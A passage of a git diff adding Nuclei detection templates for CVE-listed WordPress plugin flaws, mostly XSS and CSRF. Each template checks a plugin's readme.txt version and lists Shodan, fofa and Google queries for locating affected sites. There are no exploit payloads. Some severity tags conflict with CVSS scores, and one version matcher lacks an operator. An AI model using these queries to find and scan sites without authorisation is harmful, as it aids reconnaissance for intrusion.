Scripting via the plugin's widget's titles in all versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ce7c2f30-188a-4ae7-976f-c7f0aaf96eee?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4459 + metadata: + fofa-query: "wp-content/plugins/themesflat-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/themesflat-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-4459' + tags: cve,wordpress,wp-plugin,themesflat-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/themesflat-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "themesflat-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4474.yaml b/poc/cve/CVE-2024-4474.yaml new file mode 100644 index 0000000000..0217d36346 --- /dev/null +++ b/poc/cve/CVE-2024-4474.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4474 + +info: + name: > + WP Logs Book <= 1.0.1 - Cross-Site Request Forgery to Log Disabling + author: topscoder + severity: medium + description: > + The WP Logs Book plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to disable logging via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/259e80a0-21e8-4482-89dc-899a08669e91?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-4474 + metadata: + fofa-query: "wp-content/plugins/wp-logs-book/" + google-query: inurl:"/wp-content/plugins/wp-logs-book/" + shodan-query: 'vuln:CVE-2024-4474' + tags: cve,wordpress,wp-plugin,wp-logs-book,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-logs-book/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-logs-book" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4475.yaml b/poc/cve/CVE-2024-4475.yaml new file mode 100644 index 0000000000..22c929d145 --- /dev/null +++ b/poc/cve/CVE-2024-4475.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4475 + +info: + name: > + WP Logs Book <= 1.0.1 - Cross-Site Request Forgery to Log Clearing + author: topscoder + severity: medium + description: > + The WP Logs Book plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to clear logs via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/488567cd-b296-402f-9056-667b061950da?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-4475 + metadata: + fofa-query: "wp-content/plugins/wp-logs-book/" + google-query: inurl:"/wp-content/plugins/wp-logs-book/" + shodan-query: 'vuln:CVE-2024-4475' + tags: cve,wordpress,wp-plugin,wp-logs-book,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-logs-book/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-logs-book" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4477.yaml b/poc/cve/CVE-2024-4477.yaml new file mode 100644 index 0000000000..654c73a3a3 --- /dev/null +++ b/poc/cve/CVE-2024-4477.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4477 + +info: + name: > + WP Logs Book <= 1.0.1 - Unauthenticated Stored Cross-Site Scripting + author: topscoder + severity: high + description: > + The WP Logs Book plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/25205cb9-6d8b-456a-82b8-7257668f2972?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cve-id: CVE-2024-4477 + metadata: + fofa-query: "wp-content/plugins/wp-logs-book/" + google-query: inurl:"/wp-content/plugins/wp-logs-book/" + shodan-query: 'vuln:CVE-2024-4477' + tags: cve,wordpress,wp-plugin,wp-logs-book,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-logs-book/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-logs-book" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4488-24850f2f46fee76a411819c82221fd52.yaml b/poc/cve/CVE-2024-4488-24850f2f46fee76a411819c82221fd52.yaml new file mode 100644 index 0000000000..9eef39ce15 --- /dev/null +++ b/poc/cve/CVE-2024-4488-24850f2f46fee76a411819c82221fd52.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4488-24850f2f46fee76a411819c82221fd52 + +info: + name: > + Royal Elementor Addons and Templates <= 1.3.976 - Authenticated (Contributor+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Royal Elementor Addons and Templates for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘inline_list’ parameter in versions up to, and including, 1.3.976 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/cb0ac434-7e85-44d4-b21e-df462f63cd9c?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4488 + metadata: + fofa-query: "wp-content/plugins/royal-elementor-addons/" + google-query: inurl:"/wp-content/plugins/royal-elementor-addons/" + shodan-query: 'vuln:CVE-2024-4488' + tags: cve,wordpress,wp-plugin,royal-elementor-addons,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/royal-elementor-addons/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "royal-elementor-addons" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.3.976') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4489-98f53e4ac0e0347e15b291328edd1cad.yaml b/poc/cve/CVE-2024-4489-98f53e4ac0e0347e15b291328edd1cad.yaml new file mode 100644 index 0000000000..e2553b5bfc --- /dev/null +++ b/poc/cve/CVE-2024-4489-98f53e4ac0e0347e15b291328edd1cad.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4489-98f53e4ac0e0347e15b291328edd1cad + +info: + name: > + Royal Elementor Addons and Templates <= 1.3.976 - Authenticated (Author+) Stored Cross-Site Scripting via SVG Uploads + author: topscoder + severity: low + description: > + The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘custom_upload_mimes’ function in versions up to, and including, 1.3.976 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/57bf222b-5f49-46e2-be84-3e6444807096?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4489 + metadata: + fofa-query: "wp-content/plugins/royal-elementor-addons/" + google-query: inurl:"/wp-content/plugins/royal-elementor-addons/" + shodan-query: 'vuln:CVE-2024-4489' + tags: cve,wordpress,wp-plugin,royal-elementor-addons,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/royal-elementor-addons/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "royal-elementor-addons" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.3.976') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4608.yaml b/poc/cve/CVE-2024-4608.yaml new file mode 100644 index 0000000000..4566785ac3 --- /dev/null +++ b/poc/cve/CVE-2024-4608.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4608 + +info: + name: > + SellKit – Funnel builder and checkout optimizer for WooCommerce to sell more, faster <= 1.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via id Parameter + author: topscoder + severity: low + description: > + The SellKit – Funnel builder and checkout optimizer for WooCommerce to sell more, faster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 1.9.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/9fbb31a5-9ed2-445a-b309-a9835128eb44?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4608 + metadata: + fofa-query: "wp-content/plugins/sellkit/" + google-query: inurl:"/wp-content/plugins/sellkit/" + shodan-query: 'vuln:CVE-2024-4608' + tags: cve,wordpress,wp-plugin,sellkit,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/sellkit/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "sellkit" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.9.8') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4616.yaml b/poc/cve/CVE-2024-4616.yaml new file mode 100644 index 0000000000..b45fc0a4a1 --- /dev/null +++ b/poc/cve/CVE-2024-4616.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4616 + +info: + name: > + Widget Bundle <= 2.0.0 - Reflected Cross-Site Scripting + author: topscoder + severity: medium + description: > + The Widget Bundle plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 2.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/49b2e332-4359-4dac-8a9e-1d71f39d509c?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-4616 + metadata: + fofa-query: "wp-content/plugins/wp-widget-bundle/" + google-query: inurl:"/wp-content/plugins/wp-widget-bundle/" + shodan-query: 'vuln:CVE-2024-4616' + tags: cve,wordpress,wp-plugin,wp-widget-bundle,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-widget-bundle/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-widget-bundle" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4703-622d2074643ca68d7c6df5fdf8e6d006.yaml b/poc/cve/CVE-2024-4703-622d2074643ca68d7c6df5fdf8e6d006.yaml new file mode 100644 index 0000000000..1fec27c58b --- /dev/null +++ b/poc/cve/CVE-2024-4703-622d2074643ca68d7c6df5fdf8e6d006.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4703-622d2074643ca68d7c6df5fdf8e6d006 + +info: + name: > + One Page Express Companion <= 1.6.37 - Authenticated (Contributor+) Stored Cross-Site Scripting via one_page_express_contact_form Shortcode + author: topscoder + severity: low + description: > + The One Page Express Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's one_page_express_contact_form shortcode in all versions up to, and including, 1.6.37 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/a00a5c41-b211-45e4-acf8-01fd8e64b1c0?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4703 + metadata: + fofa-query: "wp-content/plugins/one-page-express-companion/" + google-query: inurl:"/wp-content/plugins/one-page-express-companion/" + shodan-query: 'vuln:CVE-2024-4703' + tags: cve,wordpress,wp-plugin,one-page-express-companion,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/one-page-express-companion/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "one-page-express-companion" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.6.37') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4705.yaml b/poc/cve/CVE-2024-4705.yaml new file mode 100644 index 0000000000..5e398a676f --- /dev/null +++ b/poc/cve/CVE-2024-4705.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4705 + +info: + name: > + Testimonials Widget <= 4.0.4 - Authenticated (Author+) Stored Cross-Site Scripting via testimonials Shortcode + author: topscoder + severity: low + description: > + The Testimonials Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's testimonials shortcode in all versions up to, and including, 4.0.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ef4603b2-bd41-4f65-ba2a-8d06e32e67c1?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4705 + metadata: + fofa-query: "wp-content/plugins/testimonials-widget/" + google-query: inurl:"/wp-content/plugins/testimonials-widget/" + shodan-query: 'vuln:CVE-2024-4705' + tags: cve,wordpress,wp-plugin,testimonials-widget,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/testimonials-widget/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "testimonials-widget" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 4.0.4') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4707.yaml b/poc/cve/CVE-2024-4707.yaml new file mode 100644 index 0000000000..bdfd6c3352 --- /dev/null +++ b/poc/cve/CVE-2024-4707.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4707 + +info: + name: > + Materialis Companion <= 1.3.41 - Authenticated (Contributor+) Store Cross-Site Scripting via materialis_contact_form Shortcode + author: topscoder + severity: low + description: > + The Materialis Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's materialis_contact_form shortcode in all versions up to, and including, 1.3.41 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/6ca4dff0-ca3a-44cf-a30b-36b31d2848ab?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4707 + metadata: + fofa-query: "wp-content/plugins/materialis-companion/" + google-query: inurl:"/wp-content/plugins/materialis-companion/" + shodan-query: 'vuln:CVE-2024-4707' + tags: cve,wordpress,wp-plugin,materialis-companion,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/materialis-companion/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "materialis-companion" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.3.41') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4757-99c61d6e5361642f2cd3220426f925ee.yaml b/poc/cve/CVE-2024-4757-99c61d6e5361642f2cd3220426f925ee.yaml new file mode 100644 index 0000000000..e92ff05bb0 --- /dev/null +++ b/poc/cve/CVE-2024-4757-99c61d6e5361642f2cd3220426f925ee.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4757-99c61d6e5361642f2cd3220426f925ee + +info: + name: > + Logo Manager For Enamad <= 0.7.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting + author: topscoder + severity: medium + description: > + The Logo Manager For Enamad plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.7.0. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update plugin settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/b709f1f5-e89f-4d67-9460-2c65c138dc8f?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-4757 + metadata: + fofa-query: "wp-content/plugins/logo-manager-for-enamad/" + google-query: inurl:"/wp-content/plugins/logo-manager-for-enamad/" + shodan-query: 'vuln:CVE-2024-4757' + tags: cve,wordpress,wp-plugin,logo-manager-for-enamad,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/logo-manager-for-enamad/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "logo-manager-for-enamad" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 0.7.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4759-3a5379366de7f552de353ab3d5098e66.yaml b/poc/cve/CVE-2024-4759-3a5379366de7f552de353ab3d5098e66.yaml new file mode 100644 index 0000000000..634a9e7ec9 --- /dev/null +++ b/poc/cve/CVE-2024-4759-3a5379366de7f552de353ab3d5098e66.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4759-3a5379366de7f552de353ab3d5098e66 + +info: + name: > + Mime Types Extended <= 0.11 - Authenticated (Author+) Stored Cross-Site Scripting via SVG Upload + author: topscoder + severity: low + description: > + The Mime Types Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in version 0.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/5c0963b2-210b-4dca-96a8-d048e4c53b5b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cve-id: CVE-2024-4759 + metadata: + fofa-query: "wp-content/plugins/mime-types-extended/" + google-query: inurl:"/wp-content/plugins/mime-types-extended/" + shodan-query: 'vuln:CVE-2024-4759' + tags: cve,wordpress,wp-plugin,mime-types-extended,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/mime-types-extended/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "mime-types-extended" + part: body + + - type: dsl + dsl: + - compare_versions(version, '0.11') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4788.yaml b/poc/cve/CVE-2024-4788.yaml new file mode 100644 index 0000000000..1e11153976 --- /dev/null +++ b/poc/cve/CVE-2024-4788.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4788 + +info: + name: > + Boostify Header Footer Builder for Elementor <= 1.3.3 - Missing Authorization to Page/Post Creation + author: topscoder + severity: low + description: > + The Boostify Header Footer Builder for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the create_bhf_post function in all versions up to, and including, 1.3.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to create pages or posts with arbitrary content. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/1090acfc-5b0c-478a-ac71-db54fdaefdf5?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-4788 + metadata: + fofa-query: "wp-content/plugins/boostify-header-footer-builder/" + google-query: inurl:"/wp-content/plugins/boostify-header-footer-builder/" + shodan-query: 'vuln:CVE-2024-4788' + tags: cve,wordpress,wp-plugin,boostify-header-footer-builder,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/boostify-header-footer-builder/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "boostify-header-footer-builder" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.3.3') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4886-a4ca992ddae5ec5f2effe96be1a25e88.yaml b/poc/cve/CVE-2024-4886-a4ca992ddae5ec5f2effe96be1a25e88.yaml new file mode 100644 index 0000000000..915f943fdb --- /dev/null +++ b/poc/cve/CVE-2024-4886-a4ca992ddae5ec5f2effe96be1a25e88.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4886-a4ca992ddae5ec5f2effe96be1a25e88 + +info: + name: > + Buddyboss Platform <= 2.5.91 - Insecure Directory Object Reference to Authenticated (Subscriber+) Comment on Private Post + author: topscoder + severity: low + description: > + The Buddyboss Platform plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.5.91 via the new_activity_comment AJAX action due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make comments on private posts. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/e23e52d7-871f-46fc-bd71-60a9f50a22e1?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-4886 + metadata: + fofa-query: "wp-content/plugins/buddyboss-platform/" + google-query: inurl:"/wp-content/plugins/buddyboss-platform/" + shodan-query: 'vuln:CVE-2024-4886' + tags: cve,wordpress,wp-plugin,buddyboss-platform,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/buddyboss-platform/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "buddyboss-platform" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.5.91') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4887-897881ff13115f641850f92088a342ea.yaml b/poc/cve/CVE-2024-4887-897881ff13115f641850f92088a342ea.yaml new file mode 100644 index 0000000000..4b4dd4b90e --- /dev/null +++ b/poc/cve/CVE-2024-4887-897881ff13115f641850f92088a342ea.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4887-897881ff13115f641850f92088a342ea + +info: + name: > + Qi Addons For Elementor <= 1.7.2 - Authenticated (Contributor+) Local File Inclusion + author: topscoder + severity: low + description: > + The Qi Addons For Elementor plugin for WordPress is vulnerable to Remote File Inclusion in all versions up to, and including, 1.7.2 via the 'behavior' attributes found in the qi_addons_for_elementor_blog_list shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to include remote files on the server, resulting in code execution. Please note that this requires an attacker to create a non-existent directory or target an instance where file_exists won't return false with a non-existent directory in the path, in order to successfully exploit. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/284daad9-d31e-4d29-ac15-ba293ba9640d?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.5 + cve-id: CVE-2024-4887 + metadata: + fofa-query: "wp-content/plugins/qi-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/qi-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-4887' + tags: cve,wordpress,wp-plugin,qi-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/qi-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "qi-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.7.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4902-1337a293cedaf997fd05c2b8ea71c553.yaml b/poc/cve/CVE-2024-4902-1337a293cedaf997fd05c2b8ea71c553.yaml new file mode 100644 index 0000000000..1f53062014 --- /dev/null +++ b/poc/cve/CVE-2024-4902-1337a293cedaf997fd05c2b8ea71c553.yaml @@ -0,0 +1,59 @@ +id: 